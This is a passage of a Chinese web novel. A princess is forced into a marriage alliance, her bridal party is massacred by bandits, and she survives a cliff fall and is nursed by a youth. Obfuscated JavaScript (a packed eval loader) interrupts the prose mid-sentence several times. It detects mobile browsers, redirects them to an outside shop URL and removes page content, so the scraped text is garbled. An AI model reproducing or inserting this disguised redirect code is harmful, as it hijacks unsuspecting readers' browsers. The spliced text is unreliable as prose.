跪着的数十名宫女太监见公主主动离开,如蒙大赦般站起身来。 福公公则站在原地,目送着陆怀袖远去,直到对方的身影逐渐变成一个小黑点,最后彻底消失不见,他才从唇边逸出一声轻不可闻的叹息,很快又被寒风吹散。 * 在父皇那里吃了闭门羹后,陆怀袖并没有选择回宫,而是直奔母妃所在的长乐宫而去。她心中仍旧抱有一线希望,母妃最受父皇宠爱,说不定能让父皇收回成命。 长乐宫不愧是后宫最受宠的嫔妃所居住的地方,雕梁画栋,华美至极。 陆怀袖畅通无阻地踏入了寝殿,看到了独自一人坐在圆桌旁的颜贵妃。对方身着一袭华贵的云锦宫装,头上梳着高高的发髻,戴了一整套的镶嵌宝石的步摇,那双与自己如出一辙的杏眼流转生辉,妩媚动人。 颜贵妃似乎早就知道她会来找自己,乍一见到她的时候,并未流露出什么意外之色。 陆怀袖看到生她养她的母妃,一时间百般委屈涌上心头,眼圈红红的,声音还带着哭腔:“母妃……” 颜贵妃见她眼泛泪光,长叹一声,朝她招了招手,示意她过来。等到对方乖乖走过去,她便拉起小女儿的手,细细端详了一番。 陆怀袖相貌出众性情温柔,又素来循规蹈矩,不惹是非,堪称是京中贵女的典范。只是这样的好姑娘,下个月就要远嫁至千里之外的北离国,嫁与那个传闻中性情残暴,专门虐杀女人以供取乐的男人了。 思及此,颜贵妃的心头升起一阵酸涩,眼里泛出一层水雾。 陆怀袖见状,以为她也不想自己嫁过去,忙要开口向她求情,颜贵妃却在这时忽然伸出手来,将修长的食指抵在女儿唇边,成功封住了对方接下来要说的话。 看着女儿一脸错愕不明所以的样子,颜贵妃心中虽有不忍,却还是硬下心肠道:“我知道你很难过,但这也是没办法的事。你父皇和我说,那位国君是铁了心要你和亲。就算你父皇提出要给他挑十二个环肥燕瘦不同风情的美人送过去,他还是拒绝了,就是非你不娶。” 说到这里,陆怀袖手抖得厉害,脸色也愈发苍白。颜贵妃只扫她一眼,便立刻撇过脸,挪开了视线,不忍再看。 她顿了顿,又继续说下去:“你要知道,若你抗旨不嫁的话,裴无言极大可能会以此为借口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273352|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说你父皇藐视北离,然后大举南下。要知道他早就觊觎襄国的富庶,存有吞并这片领土的野心,我们不能给他一个发动战争的正当理由。” 陆怀袖默默听完,瞳孔逐渐变大,表情变成了不敢置信,一字一顿地问道:“所以你们就要推我入火坑?”她看着生她养她的母妃,却好像看着一个素不相识的陌生人,“你们知道他已经虐杀了五任皇后吧?” 颜贵妃面色难看地点了点头,樱唇翕动,最后只是干巴巴吐出一句:“这是你父皇权衡利弊之后的结果,我们必须要以大局为重。” 权衡利弊,陆怀袖齿间磨着这个词,只觉得一阵阵寒意泛上脊背,整个人如坠冰窖。这个词直白地戳穿了真相,告诉她利益面前无亲情。就算自己平日里再怎么讨父皇母妃喜欢,一旦遇到利益冲突,还是会作为牺牲品被推出来。 她就像被推下河喂鳄鱼的祭品,向来疼她爱她的父皇母妃在河边抹着眼泪,看着她一点一点沉入水底,被鳄鱼生吞活剥,却没有丝毫搭救的意思,因为他们以为只要把鳄鱼喂饱,自己就能安全过河。 陆怀袖死死地咬住下唇,已知这事没有任何转圜的余地了,自己再怎么一哭二闹三上吊也无济于事,索性破罐子破摔地说道:“儿臣知道了,儿臣嫁过去之后,若是死于非命,母妃可以和父皇再生一个,反正他最宠您了。” 颜贵妃只觉得她这话说得着实口不择言了些,好看的眉头瞬间便蹙了起来,忍不住抬手甩过去一巴掌,啪的一声,极为清脆。 这一巴掌打下去,母女二人皆是一愣,只因此事在过往十五年间从未发生过。 颜贵妃看了看自己的手,又看了看被那只手打了的女儿,痛心疾首地说道:“你以前从不敢这样和我说话的,就算气昏了头也不该这样无礼。”说完之后,她又摆出一副打在你身,痛在我心的模样,朱唇轻启,黄鹂般动听的声音充满忧伤:“你从小就是一个让人省心的好孩子,为什么就不能再听话一回呢。” 陆怀袖摸着被她打了一巴掌的脸,上面火辣辣的疼,但她好像察觉不到似的,表情麻木地说道:“是儿臣没能体谅父皇母妃的难处,儿臣知错了,若无其它事,儿臣就先告退了。” 她说完躬身一礼,之后便转身离开,头也不回的往自己寝殿的方向走去,跟随她的只有目睹了全程的荼蘼。 陆怀袖见过父皇母妃之后又重新回到寝殿中,可笑的是什么也没有改变,她下个月依旧要嫁过去。面对这既定的命运,她能做的就只有接受它。 无比糟糕的一天,但即使经历了被亲姐姐挖苦嘲讽,被父皇喂了闭门羹,以及被母妃打了一巴掌这诸多不幸,陆怀袖也没有崩溃大哭,清澈透亮黑白分明的眼睛里只有一片麻木。 可当她看着被自己亲手关上的门,心中的那根弦彻底断裂,她不由得倚着门蹲到地上,抱着膝盖无声的痛哭了起来。这一哭宛如开了闸的堤坝,泪水一发不可收拾。大颗大颗的泪珠砸在地上,啪嗒啪嗒,并没有化成珍珠。 从初次来葵水,被母妃告知自己已经是个大姑娘的那天起,她就再也没有哭过了。 6. 莲花酥 因为即将远嫁千里之外,陆怀袖的一举一动都代表了襄国皇室,为了不让外人看了笑话,就在和亲圣旨下达的第二天,皇后便派她的贴身宫女夏姑姑前来清平宫,教导陆怀袖如何治理后宫,以及如何做一个合格的皇后。 与她嚣张跋扈的女儿不同,皇后娘娘贤良淑德,娴雅端庄,多年统率后宫,把后宫治理得井井有条。作为皇后身边最信任的掌事大宫女,夏姑姑为人稳重,办事靠谱,又常常帮皇后料理后宫大小事务,让她来指导陆怀袖,是再合适不过的了。 指导的第一天,夏姑姑致力于加深陆怀袖对北离皇室的了解,刚踏入清平宫,便把自个儿所知道的关于北离皇室的事情,竹筒倒豆子似的交待个一清二楚。 譬如她的和亲对象裴无言,今年四十有五,生有九位皇子,八位公主。只是他迟迟不立储,众皇子为争储位明争暗斗,各种下狠招、使绊子,拉拢大臣结交党羽。 又譬如对方其实是前朝皇帝的同母胞弟,本该继承帝位的是他的两位皇侄,只是其中一个杀了另一个,被宫人当场撞见,惹先帝大怒,直接下令将谋杀了大皇子的二皇子打入死牢。之后二皇子在牢中畏罪自尽,先帝失去了所有继承人,又突得重病,这才将帝位传给了同胞兄弟。 陆怀袖听到此处,麻木的脸上出现一丝波动,原来裴无言并非第一顺位继承人,他的皇位是天上掉下来的馅饼。 确定公主对北离皇室有了初步的了解之后,夏姑姑又开始手把手的教她怎么梳妇人发髻。 陆怀袖端坐在梳妆台前,身后的夏姑姑为她卸去钗环,打散秀发。以往这些事,都是荼蘼一手打理的,现在换了一个人,让她觉得很不适应。 夏姑姑手执一把古朴的木梳,一边给她梳着发髻,一边闲谈般问道:“奴婢听说公主昨日为了和亲之事,在御书房外的雪地里跪了许久?” 回答她的只有一片沉默。 没有听到对方的回答,夏姑姑也不气馁,自顾自地说了下去:“殿下请恕奴婢多嘴,奴婢也知道您对这门亲事心不甘情不愿,可自古以来婚姻大事都是由父母做主,就算您再不想嫁又能如何呢。” 陆怀袖垂下头来,沉默了好一会儿,而后不咸不淡地说道:“姑姑又是替谁当说客的?” 夏姑姑轻轻摇了摇头,看着镜中的娇美容颜认真说道:“殿下,奴婢没有为谁来当说客,只是想到一些让自己不太愉快的事情,有感而发,才会多说几句。” 陆怀袖闻言不由得哦了一声,脸上露出一丝恰到好处的好奇之色。 夏姑姑为她梳头的手停下了,怔怔的看着虚空,好似陷入了回忆,“奴婢六岁那年曾经历过一场战乱,从小生活的城池被异族攻破,当地的男人都被杀光,女人都用绳子连起来,当作战利品拉走,满城都是男人的血腥味和女人凄厉的尖叫声。” “孤苦无依的奴婢慌不择路地逃跑,不幸又遭遇了一队敌人。异族人的大刀即将落下,奴婢绝望地闭上了眼睛,但那一刀最终还是没能落下,只因护国将军府的少将军一箭射穿了他。” 或许是身临其境的缘故,她说得绘声绘色,声情并茂。而陆怀袖也被她感染,莫名想起“白骨露于野,千里无鸡鸣”这句诗来,累累白骨曝露在野地里无人收埋,千里之间没有人烟,连鸡鸣声都听不到。 她以前读到这句诗,也曾发出一声悲悯的叹息,但她毕竟是一位含着金汤匙出生的的公主,从小养在深宫之中,未曾亲历过诗中画面,战争对她来说太过遥远,这声悲悯便像是从云端之上发出,轻飘飘的没有任何重量,始终落不到地面上。 如今听到身边人讲述自己亲身经历过的事,诗文里所描述的生灵涂炭的战乱惨象,对她来说才有了实感,不只是史书上记载着的一堆堆冰冷数字。 顿了顿,夏姑姑又继续说道:“之后奴婢便被少将军领进护国将军府,服侍府中尚未出阁的三小姐,之后又陪她嫁给了当时还只是皇子的陛下,最后看着她母仪天下,自己也算是苦尽甘来了。” 夏姑姑又忽然想起了什么似的,一脸后怕地说道:“那一场战争仿佛人间炼狱一般,在今后的无数个夜里,奴婢都会从噩梦中惊醒,梦里的自己没有那么幸运,那一刀把奴婢劈成两半,让奴婢变成千万具尸骸中的一具。” 陆怀袖想象了一下那个画面,只觉得不忍直视。 夏姑姑将她脸上表情变化尽收眼底,放下了手中的檀木梳,语重心长地说道:“公主若是不嫁过去,那么类似奴婢所经历过的,异族屠城那样的惨剧很可能就会再度上演。” 随着她的话音落地,屋中里又是一片沉默。 夏姑姑率先开口打破沉默:“恕奴婢直言,公主从一出生就能在帝王家锦衣玉食,养尊处优,过上比这世上绝大部分女子都要优渥得多的生活,那并不是因为您多有能耐,只是因为您会投胎。您所享有的一切,都是千千万万劳苦大众供奉给您的,没有他们,您什么也不是。您虽然心不甘情不愿,但也应该承担起身为公主的责任来,尽己所能保护供养您的子民。” 陆怀袖将她的话一字不漏的听入耳中,螓首低垂,半晌无言。不知过了多久,她抬眸看了一眼镜中的自己,三千青丝全部盘在头顶,象征着她即将要嫁为人妇。那沉重无比的的发髻,压得她脖子都快断了。 盯着梳成妇人发髻的自己看了许久,陆怀袖不带任何感情地开口道:“我知道了。” * 和亲的日子很快就要到了,陆怀袖在出发的前一晚,再度见到了许久未曾见到的母妃。她刚洗漱完准备入睡,对方便提着食盒进来了。陆怀袖从中闻到了很熟悉的食物香味,心中顿知对方的来意。 自从那日颜贵妃打了她一巴掌后,母女俩就一直冷战,待嫁期间未曾见过一面。没想到在出发的前一晚,颜贵妃主动找上门来,还带着她最喜欢吃的莲花酥。 以前陆怀袖心情不好的时候,颜贵妃就会做这种点心哄她,吃完之后,她的心情就会变好。 陆怀袖一旦喜欢上什么,就会一直喜欢下去,长情得很,对待食物也是如此。她还曾跟颜贵妃说,若是自己不开心了,吃下这点心,心情马上就会好起来。 对方在这个时候提着食盒来找自己, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273353|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显然是有意求和,这让陆怀袖很是意外。 毕竟从小到大,无论她和父皇母妃起了什么冲突,先退一步的人必定是自己,只因他们之间的关系本来就不对等,从她出生的那一天起就是如此。他们掌握着自己的生杀大权,对上他们,自己只能放低姿态,不得忤逆。 颜贵妃瞧着陆怀袖就坐在桌旁,三步并两步走了过去,而后在女儿的对面坐下了。她缓缓的打开了那红漆食盒,将一碟颜色粉嫩透亮的莲花酥轻手轻脚端了出来,放在桌案一旁,香气瞬间氤氲散开。 她看着陆怀袖,用眼神示意对方享用点心。如果陆怀袖拿起吃了,就代表原谅她了,母女俩也可以冰释前嫌了。 最后陆怀袖还是拿起一块莲花酥送入口中。依旧香甜可口,依旧酥酥脆脆,但她不知道为什么,莫名就觉得没有以前好吃了。 颜贵妃看着女儿默不作声吃她心心念念的糕点,在她吃完之后,递过去一杯茶给她解渴。陆怀袖接过喝下,茶水入肚,一股清凉之感传遍全身。 接着又是一阵沉默。 颜贵妃忽然想到什么似的,率先开口打破沉默:“我以前看你拿筷子,筷子拿得很远,当时心里就很是不安,因为筷子拿得远,嫁得就远,我怎么说你都不听。没想到多年之后,你真的要远嫁千里之外了。” 陆怀袖闻言一愣,没想到对方突然提起这件陈年旧事,自己都快忘得差不多了。 大襄风俗,女儿家拿筷子的时候,手离筷子头越远,以后嫁得越远,反之则嫁得越近。 她当年年幼,一直无意识地把筷子拿得很高,颜贵妃见了却很是不满,打掉她的筷子斥责她道:“你这样拿筷子是不对的,将来会嫁得很远。” 对当时的陆怀袖来说,嫁得远这个概念很是陌生,但她不知怎的,每天就故意拿筷子最远端边缘处,而且屡教不改。她之所以这样做,并不是想嫁得远,而是想走得远。她不想一辈子都呆在这四四方方的皇城里,她想闯荡天涯。 没想到多年后,她真的要远离皇城了,不过却是从一个牢笼走向另一个牢笼。 见女儿始终默不作声,颜贵妃也不逼她,将手腕上的一只银镯子摘了下来,戴在她的手腕上,郑重其事地说道:“这手镯据说能给人带来好运,是你父皇送我的,我把它转送给你,但愿你嫁到那边之后,万事顺遂,平安无事。” 陆怀袖垂眸瞧着手腕上的银镯子,心中只道:“那位便宜夫君若真想害自己,又岂是一只镯子庇护得了的。”口中却道:“多谢母妃。”这是她今晚和对方说的第一句话。 见对方终于肯开口说话,颜贵妃喜不自胜,想了想又提议道:“你还记得你八岁那年,我们在长乐宫那株梨树下埋了坛青梅酒吗?那时候我们约定等你出嫁了就把它挖出来,和你将来的夫君一同饮下。如今七年过去,你也即将嫁作人妇,我们将埋的那坛酒拿出来如何?” 陆怀袖闻言,抬眸看向她,随后轻嘲地笑了下,“用不着,我不喜欢那个人,他不配喝那坛酒。”说完之后,又缓缓吐出了一句话:“那坛酒只有我认定的人,才配喝下。” 7. 坠悬崖 次日清晨,便是陆怀袖要启程北离的日子了。 陆怀袖拜过太庙,给祖先一一上过香后,便带着一堆嫁妆出了宫门。因她是当朝最受宠的公主,嫁得也是当世最强大国家的君主,嫁妆自然要备得丰厚,足足装了十二个大箱子,一箱箱的都是金银珠宝,房田地契。 护送她和亲的个个都是训练有素,武艺高强的大内侍卫,其中侍卫长便是那日在洗尘宴上大显身手的李奈。靖安帝千叮咛万嘱咐,让这位神箭手务必保护好明月公主,让她安全抵达北离王都白河城,顺利和裴无言举行帝后成婚大典。 司礼内监悠长的唱喝声响起,陆怀袖心知此去便可能再也不回来,回头望了一眼高高的宫墙,她已在宫墙之内生活了十五年,是该离开的时候了。她看过一眼后便不再回头,上了前往北离的和亲马车。荼蘼作为她的陪嫁宫女,也上了另一辆马车,跟在后面。 颜贵妃站在城墙上,目送着女儿远去,看着她所乘坐的那辆马车逐渐变成一个小黑点,最后彻底消失在视野中。她眼中泪光闪烁,似乎下一秒就要哭出来了。靖安帝见状,伸手揽住了爱妃的肩头,让她斜靠在他的肩上。 出发的时候刚刚初春,冰雪消融,万物复苏,本是一派生机勃勃的景象,对陆怀袖来说,却是她噩梦的开始。 送亲队伍一路上马不停蹄,从盛京出发,向着白河城进发,沿途经过连绵的山脉、绿色的稻田、炊烟袅袅的农家。这一行,陆怀袖得以见到许多只能在书中见到的景色。 期间下过一场瓢泼大雨,道路泥泞难行,送亲队伍不得已进入一家荒郊野岭的驿站避雨。奇怪的是,驿站招待他们的就只有四个人,而且这四个人个个面相不善,驿丞更是身高体重,满脸横肉,一双三角眼闪着凶光,看面相就是个凶煞难缠的主。 突如其来的暴雨,连续下了三天三夜,众人不得已和这四人同住一个屋檐下。 留宿期间,陆怀袖发现那位驿丞肆无忌惮的眼神不时在她身上逡巡着,她要是瞪过去,对方又若无其事挪开视线,好像刚才的打量只是她的错觉。她为此感到不适,只盼着雨声暂歇,自己能尽早离开此处。 三天后雨过天晴,送亲队伍因为下雨耽误了行程,为了赶上进度,他们向驿丞打听了通往白河城的近路,天刚蒙蒙亮便抄近路出发。 马车行进了大概半个时辰,很快便钻进一片茂密的树林之中。清晨的林中一片死寂,没有虫鸣也没有鸟叫,倒平白让人觉得毛骨悚然。 陆怀袖于车内静坐,突然就感觉左眼皮跳了跳,心中忽然升起了一股不祥的预感。她靠在马车的车窗边,半掀窗帘向外看去,意外发现每一棵树的每一条树枝上都停着一只鸟,它们都静静地站立着,眼睛不眨的齐齐盯着自己。 她顿时被吓得一个激灵,赶紧放下了窗帘,可被每一只鸟死死盯着的可怕景象,还是在她脑中不受控制地闪过。 深呼吸一口气,陆怀袖拍了拍自己的胸脯,让自己冷静下来,同时自我安慰道:“别自己吓自己,也许只是错觉呢。”然后猛地甩了甩头,试图将那些可怕的画面甩出去。 刚刚的一段小插曲,很快就被陆怀袖抛到脑后。她慢慢阖上眼眸,起初只是想闭目养神,可之后就因为起得太早睡眠不足,眼皮子上下打架,很快便真正沉入了梦乡。 就在陆怀袖梦周公时,前边的马匹前蹄高高扬起,忽而发出一声尖锐的嘶鸣,紧接着马车一个剧烈的颠簸将她从睡梦中惊醒。勉强稳住身形后,一道熟悉的声音从不远处传来,宛如耳语:“且留步。” 她愣了一下才反应过来,声音的主人那家驿站的驿丞。她的眉头不自觉拧了起来,伸出素白的手掀开了绯红的轿帘,果然发现驿丞连同他手下的三个驿卒拦在路中央,刚好挡住了他们要前进的方向。他们狞笑着,盯着那十二口红漆木嫁妆箱子看,眼里闪着贪婪的绿光。 护送公主和亲的侍卫长李奈见有人挡路,当即走到队伍前方,面若寒霜的对着那些没长眼的东西厉声呵斥道:“识相的就快些让开,否则别怪我对你们不客气。” 驿丞狂笑数声,根本不把他的威胁放在眼里,笑够了又挑衅地看他一眼,轻蔑地说道:“我看该识相的是你才对。你们若是将嫁妆乖乖奉上,大爷兴许还能给你们留个全尸。” 李奈锐利的鹰眼微微眯起,嗓音寒凉道:“大胆狂徒,连皇家之物也敢惦记,我看你们是活得不耐烦了。” 随着老大的话音落地,众侍卫都将手按在腰间刀柄之上,一副随时都要拔刀出鞘的防备姿态。 驿丞将众人表现收入眼底,一双三角眼凶光毕露,恶狠狠落下一句:“既然你们不愿意送,那我们就只好抢了。”说着,他便给一旁的三个手下使了个眼色。三个彪形大汉顿时一拥而上,拿着带血长刀向他们逼近,凛冽的刀光中他们的笑容狰狞如鬼。 李奈看着那带血长刀,脑中一道白光闪过,顿时恍然大悟,厉声质问道:“你们不是驿站驿卒,你们到底是谁?” 那位“驿丞”满怀恶意地笑了起来,“驿站里的人早就被我们全部杀光了,我们四人埋伏在这里多日,就是为了宰肥羊。久闻明月公主最是受宠,嫁妆必定丰厚,够我们兄弟几个逍遥快活一生。” 顿了顿,他又继续说道:“至于我们是谁,等你们下了阴曹地府,问阎王爷去吧。” 说完,他立刻拔刀出鞘,如虎入羊群般朝众侍卫杀去,不过片刻功夫,数十名侍卫便已做了刀下鬼。四名狂徒一边叫嚣着太慢了,太慢了,一边毫不留情的挥刀便砍,武功高强的大内侍卫在这四人面前竟如同稚子一般,毫无还手之力。刀锋就像切豆腐一样劈开了侍卫们的身体,他们连惨叫声都没有发出便四分五裂了。 车内的陆怀袖将他们的对话一字不漏的听入耳中,早已明白了前因后果。这伙贼人杀光了驿站的人,并冒名顶替了他们的身份,然后故意引导送亲队伍进入这片人迹罕至的小树林,方便自己杀人越货,谋财害命。 陆怀袖无助地抱着自己蜷缩在马车里,刀身刺入身体的声音清晰传到她的耳中,浓厚的血腥气在她的鼻端缭绕着,她第一次意识到,死亡离自己是如此之近。 此刻,她面临两个选择,呆在马车里或者是跳出马车外。呆在轿子里难逃一死,跳出马车外或许还有一线生机。她很快就做出了决定,咬了咬牙,正要冒着生命危险跳下马车,忽然轿帘被一只青筋毕露的手掀开,吓得她魂不附体。 没等她看清对方的脸,那个人便急切地吐出三个字:“冒犯了。”然后拉住她的手腕,将她带出了轿子,之后便火速收回了手。 陆怀袖凝目望去,见来人正是李侍卫,高悬的心稍稍落回肚里。 马车外到处都是尸体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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因为刚下过一场暴雨,道路滑得很,又加上林子深处遮天蔽日连阳光都难以透进来,陆怀袖深一脚浅一脚行走着,不提防脚下一滑,顿时滚到了山崖下面,荼蘼试图伸手去拉,却只来得及抓住她的一片衣角,转眼便从指缝中滑落。 她眼睁睁看着公主坠下悬崖,转瞬便没入云雾之中不见了,顿时吓得瘫倒在地。 却说陆怀袖脚下一滑坠落悬崖,身形犹如离弦之箭,快速向下坠落。就在她以为自己死定了的时候,一棵生在断崖上的大树勾住了她的腰带,也算是不幸中的万幸了。 陆怀袖还以为自己真是福大命大,这都没死,没想到就在这一念头生出后不久,那棵斜向生长的大树便不堪重负的断了。 变故来得如此突然,下一刻她便从一丈多高的树上摔下来,直直摔倒在了地面上。 鼻尖嗅着自己身上的血腥味,陆怀袖只觉浑身剧痛,仿佛全身骨架都被人捏碎一般,连轻微的挪动都会让她痛不欲生。鲜红的血液汩汩流出,在刚下过雨,还带着些湿气的地面流淌开来,她清清楚楚地知道自己的生命在流失。 意识渐渐远去,像是有些困了,陆怀袖不断提醒自己,不能睡下去,不能睡下去,一旦睡下去就可能再也醒不过来了。 但她此时虚弱至极,即使强行睁着眼睛,也无法抵抗黑暗的侵袭,渐渐失去了神智,昏沉沉的陷入了一片混沌之中。 8. 初相见 当陆怀袖再度醒来,已不知是几天过去。她缓缓睁开了眼睛,以为自己只是做了一场噩梦,然而她刚刚动一下,浑身便痛得像被拆开重组般。撕裂般的疼痛提醒她那不是梦,她真的从悬崖上掉了下来。 她第一眼见到的人,却是一位束着高马尾的绯衣少年。初春的清晨,风微微扬起轻纱薄帘,绯衣少年侧坐在床尾,不知道在想些什么,淡金色的光打在他的侧脸上,留下一个如梦如幻的侧影来。 陆怀袖看着看着,逐渐忘记了周身的疼痛,不由自主地屏住了呼吸,生怕惊动了眼前的人。 那个人似乎察觉到了她的动静,转过身来看她,这让陆怀袖得以看到他的相貌。 少年五官瑰丽,皮肤冷白,一双墨黑的眼睛冷冷淡淡的。他的眉目间天然一段多情又无情态度,初一看艳若桃李,再一看冷若冰霜,两种截然不同的气质完美的融合在了他的身上。 陆怀袖刚刚醒来,脑子还不太清醒,摔下悬崖后五脏六腑都移位的痛觉让她以为自己正身处地狱,可看着这张绝不可能出现在地狱的脸,却又有些不确定了。 迷迷糊糊间她礼貌发问:“请问这里就是地狱吗?”这是她醒来之后的第一句话。 随着她的话音落下,绯衣少年白皙如玉的面庞上闪过一丝错愕,显然不明白她为何有此一问,反应过来后又忍不住低低笑了两声,似乎觉得她这句话很有意思。 他本就长着一张浓厚昳丽的面容,笑起来便自带一种“唯有牡丹真国色,花开时节动京城”的盛大感。 那抹笑落入陆怀袖的眼中,引得她心口处的蝴蝶振翅欲飞。现在她确信自己不在地狱了,因为她能清晰地听到自己急促的心跳声,而死人是不可能有心跳的。 绯衣少年见她就那么直愣愣盯着自己看,也不介意,显然早已习惯了这样的目光。他很快便收敛起脸上的笑意,抬手端过塌边案几上一碗散着热气的药汤。揶揄地看了她一眼后,他煞有介事地说道:“姑娘可愿喝了眼前这碗孟婆汤?” 让陆怀袖意外的是,这听起来有些轻软的嗓音和他那张又冷又美又凶的脸不太符合,她还以为这种像染血的刀锋一样的美少年,讲起话来都会冷冰冰带着刺呢。 少年端着那碗黑乎乎的药汤,垂眸看向浑身上下只有眼睛能动的小姑娘,神色微微迟疑了一下,随即言简意赅地命令道:“张嘴。”说完拿着勺子轻轻将药吹凉,再将吹凉的药递至陆怀袖唇边。 他的嗓音柔软,光用声音就能蛊惑人,陆怀袖愣愣地眨了眨眼,不自觉的听从他的命令,像是闻不到那股刺鼻的苦味一样,啊的一声将嘴巴张大。 药汁一口气咽进喉咙,苦得让人感觉像是在喝毒药,陆怀袖只觉得胃里一阵翻滚,一张小脸直接皱成了苦瓜。她艰难的将难喝至极的药汁咽下,却还是有很多药汤顺着嘴角流下来,很快就要奔向脖颈。 她下意识就想拿手去抹,而这一动作立刻就牵动了她原本的伤势,引得胸口一阵剧痛,接着噗地一声吐出一口血来。殷红的鲜血混合着浓黑的药汁淌落在她脸上身上,让她整个人显得无比狼狈。 虽然看不见,但陆怀袖却能想象出,现在的自己是副什么脏兮兮的鬼模样。想到自己这副样子都被坐在床榻边上的少年看了去,她心觉丢脸至极,恨不得就此消失在对方眼前,免得被他取笑。 然而,想象中的无情嘲笑并没有发生,陆怀袖瞪大了眼睛,呆呆地看着少年拿出一块干干净净的白手帕,俯下身来帮她擦掉了那些肮脏的污渍。她注意到他的眼神顺着手的姿势沿着自己的下颚线往下,那些被他碰触过的地方感觉有些痒痒的。 将人擦得干干净净了,少年装作一副委屈巴巴的模样,用软软的语调撒娇似的说道:“这可是我费了好大的功夫才煎的药,姑娘若是都吐了,我的辛苦可就白费啦。”说完便若无其事地继续喂药。 奇怪的是,明明还是同一碗药,喂她吃药的也是同一个人,陆怀袖却咬紧牙关,大口大口的喝了起来,好像自己喝的不是苦药而是琼浆玉液,不一会儿就将半碗药喝下了肚。此刻她心中唯有一个念头,那就是千万不能让少年伤心难过。他一将药递过来,她就乖乖张口,两人配合默契,一碗药很快就见了底。 至始至终,少年都微微笑着,一勺一勺地喂药,无论陆怀袖的表情有多狰狞,他都未曾心软。 将药碗中的药全部喂下去后,少年收起已经空掉的药碗,换来一碗清水让她漱口,去去口中苦味。 陆怀袖就着少年的手将那碗温水一饮而尽,口中的苦味总算散去。她砸吧了一下嘴巴,而后抬起眸子,一双漂亮的杏仁眼亮晶晶地望向他,一副感激涕零的模样,“多谢公子救命之恩。” 她早在刚才就已经想明白了事情的前因后果,定是这少年看到了悬崖之下,倒在血泊中奄奄一息的自己,于是善心大发将她捡回家,不仅替她处理了伤口,还亲自煎了药又亲手喂给她。 陆怀袖越想越感动,鼻子泛酸,几欲落下泪来。一股激荡的热流冲乱了她的大脑,让她做出了一个错得离谱的判断:“他可真是个温柔、善良、脾气很好的人啊。” 见她这般模样,绯衣少年好看的狐狸眼中眸色一闪,随后倚在床边,似笑非笑地说道:“你用不着谢我,我不是因为想救你才救你的。”迎着对方不明所以的视线,他的语气微不可察地顿了一下,而后淡声开口:“因为我不想看到有人因坠崖死去。” 像是听到了这世上最荒谬的话,陆怀袖带着满脸的匪夷所思,不敢置信地问道:“那我要是换种死法,你就会目不斜视的从我尸体边经过吗?” 绯衣少年轻笑一声,以一种理所当然的口吻说道:“对啊。” 他虽然在笑,笑意却不达眼底,陆怀袖在那双漆黑如墨的眼中见到了震惊得无以复加的自己。她这才发现对方眼里有一种目空一切的淡漠,他明明救下了自己,却并不将自己放在心上。在他眼中,她跟路人甲没两样。 虽然并不明白他为什么要这样做,但陆怀袖还是对他心怀感激。俗话说的好,论迹不论心,论心无完人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273355|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无论对方出于什么荒谬的原因救了自己,终归是救了,被救的自己理应报答一二。 她定了定神,看向少年,鼓起勇气说道:“不知恩公尊姓大名,救命之恩,小女子定当结草衔环以报。”她看的话本里,少女被英雄救美了,都是这样的说辞,下意识便用上了。 绯衣少年闻言只懒懒散散地说道:“你先说说你的。”说完便摆出一副洗耳恭听的模样。 陆怀袖愣了一下,随后从善如流地自我介绍道:“小女子姓陆,名怀袖,怀是怀念的怀,袖是衣袖的袖。”她想起自己现下的身份,是即将远嫁北离的和亲公主,莫名不想说出来,便信口胡诌了一个身世,“我本是某位达官贵人的私生女,母亲临死前告知我身世真相,让我去寻找远在千里之外的生身父亲,我便开始踏上寻父之旅。谁知路遇恶匪,不仅谋财还要害命,我只得拼命逃跑,不慎跌落悬崖,之后就被恩公你捡到了。” 少年对她胡编乱造的一套说辞很是怀疑,但介于他对她整个人都不敢兴趣,所以在她自陈身世后,他也只是冷淡地点了点头,并未过多询问。 少女自报家门后就轮到他了,少年咬字特别清晰地说道:“我叫薛矜,骄矜的矜。”除此之外一个字都不肯多说。 陆怀袖一边将这个名字在舌尖来回翻滚,一边偷偷用眼角余光打量这位名为薛矜的绯衣少年,心中默念道:“同样也是矜贵的矜。” 莫名想到了自己那位因为坠马而落得个终身残疾的四姐夫,陆怀袖心里十分不安,哭丧着脸问道:“我以后是不是会变成残废啊。” 